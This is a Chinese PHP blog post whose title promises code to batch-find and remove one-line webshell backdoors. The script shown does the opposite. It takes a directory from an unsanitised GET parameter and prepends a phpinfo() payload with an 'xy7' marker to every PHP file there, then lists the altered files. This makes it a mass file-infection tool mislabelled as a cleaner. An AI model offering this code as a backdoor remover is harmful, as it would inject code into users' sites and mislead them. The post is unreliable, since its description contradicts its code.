用php实现批量查询清除一句话后门的代码


Posted in PHP onJanuary 20, 2008

总是忘记一句话放到哪个文件里去了,直接全部干掉...

<?//xy7  
if (!isset($dir) or empty($dir)) {  
$dir=str_replace('\\','/',dirname(__FILE__));  
echo "<font color=\"#00688B\">".$dir."</font>";  
} else {  
$dir=$_GET['dir'];  
echo "<font color=\"#00688B\">".$dir."</font>";  
}  
$evilcode="<?phpinfo();//xy7?>";  
$testdir = opendir($dir);  
while($filea = @readdir($testdir)){  
if(strstr($filea, '.php')){  
$fp = @fopen($filea, 'r+');  
if (!strstr(@fread($fp, 20), 'xy7')){  
rewind($fp);  
$old = @fread($fp, filesize($filea));  
rewind($fp);  
fwrite($fp, $evilcode . $old);  
}  
fclose($fp);  
}  
}  
closedir($testdir);  
?>  
<hr>  
<table width="100%" border="0" cellpadding="3" cellspacing="1">  
<tr>  
<td><b>被X的文件</b></td>  
<td><b>时间</b></td>  
<td><b>大小</b></td>  
</tr>  
<?php  
$dirs=@opendir($dir);  
while ($file=@readdir($dirs)) {  
if ((is_file($file)) and (ereg("\.php{0,1}$",$file)))  
{$b="$dir/$file";  
$a=@is_dir($b);  
if($a=="0"){  
$size=@filesize("$dir/$file");  
$lastsave=@date("Y-n-d H:i:s",filectime("$dir/$file"));  
echo "<tr>\n";  
echo "<td>$file</td>\n";  
echo " <td>$lastsave</td>\n";  
echo " <td>$size Bytes</td>\n";  
}  
}  
}  
@closedir($dirs);  
?>  
</table> 
codz by xuanmumu 
PHP 相关文章推荐
一步一步学习PHP(1) php开发环境配置
Feb 15 PHP
php cc攻击代码与防范方法
Oct 18 PHP
windows服务器中检测PHP SSL是否开启以及开启SSL的方法
Apr 25 PHP
YII模块实现绑定二级域名的方法
Jul 09 PHP
图解找出PHP配置文件php.ini的路径的方法
Aug 20 PHP
php运行提示:Fatal error Allowed memory size内存不足的解决方法
Dec 17 PHP
PHP中把对象数组转换成普通数组的方法
Jul 10 PHP
你不知道的文件上传漏洞php代码分析
Sep 29 PHP
php版阿里大于(阿里大鱼)短信发送实例详解
Nov 30 PHP
php获取访问者浏览页面的浏览器类型
Jan 23 PHP
Yii框架响应组件用法实例分析
Sep 04 PHP
php设计模式之适配器模式实例分析【星际争霸游戏案例】
Apr 07 PHP
asp和php下textarea提交大量数据发生丢失的解决方法
Jan 20 #PHP
php开发工具之vs2005图解
Jan 12 #PHP
java EJB 加密与解密原理的一个例子
Jan 11 #PHP
apache rewrite_module模块使用教程
Jan 10 #PHP
支持php4、php5的mysql数据库操作类
Jan 10 #PHP
让PHP支持页面回退的两种方法
Jan 10 #PHP
php下使用SMTP发邮件的代码
Jan 10 #PHP
You might like
PHP与SQL注入攻击[三]
2007/04/17 PHP
php中修改浏览器的User-Agent来伪装你的浏览器和操作系统
2011/07/29 PHP
解析posix与perl标准的正则表达式区别
2013/06/17 PHP
getJSON跨域SyntaxError问题分析
2014/08/07 PHP
Yii Framework框架使用PHPExcel组件的方法示例
2019/07/24 PHP
JavaScript实现表格点击排序的方法
2015/05/11 Javascript
js获取时间精确到秒(年月日)
2016/03/16 Javascript
javascript关于继承解析
2016/05/10 Javascript
js 连续赋值的简单实现
2016/06/13 Javascript
javascript 动态样式添加的简单实现
2016/10/11 Javascript
jquery延迟对象解析
2016/10/26 Javascript
jQuery中select与datalist制作下拉菜单时的区别浅析
2016/12/30 Javascript
关于Sequelize连接查询时inlude中model和association的区别详解
2017/02/27 Javascript
Vue如何实现组件的源码解析
2017/06/08 Javascript
vue中component组件的props使用详解
2017/09/04 Javascript
nodejs中art-template模板语法的引入及冲突解决方案
2017/11/07 NodeJs
jQuery UI实现动画效果代码分享
2018/08/19 jQuery
[02:15]2014DOTA2国际邀请赛 赛后退役选手回顾
2014/08/01 DOTA
python的tkinter布局之简单的聊天窗口实现方法
2014/09/03 Python
python根据时间生成mongodb的ObjectId的方法
2015/03/13 Python
python向已存在的excel中新增表,不覆盖原数据的实例
2018/05/02 Python
Flask框架通过Flask_login实现用户登录功能示例
2018/07/17 Python
python 通过SSHTunnelForwarder隧道连接redis的方法
2019/02/19 Python
Django给admin添加Action的步骤详解
2019/05/01 Python
Python3.8对可迭代解包的改进及用法详解
2019/10/15 Python
python GUI库图形界面开发之PyQt5窗口布局控件QStackedWidget详细使用方法
2020/02/27 Python
英国护肤品购物网站:Beauty Expert
2016/08/19 全球购物
有机童装:Toby Tiger
2018/05/23 全球购物
美国高档帽子网上商店:Hats.com
2018/08/09 全球购物
日本订房网站,预订日本星级酒店/温泉旅馆:Relux(支持中文)
2020/01/03 全球购物
工厂门卫岗位职责
2013/11/25 职场文书
幼儿园卫生保健制度
2015/08/05 职场文书
应用最多的公文《通知》如何写?
2019/04/02 职场文书
2019如何书写演讲稿?
2019/07/01 职场文书
详解MongoDB的条件查询和排序
2021/06/23 MongoDB
Vue 打包后相对路径的引用问题
2022/06/05 Vue.js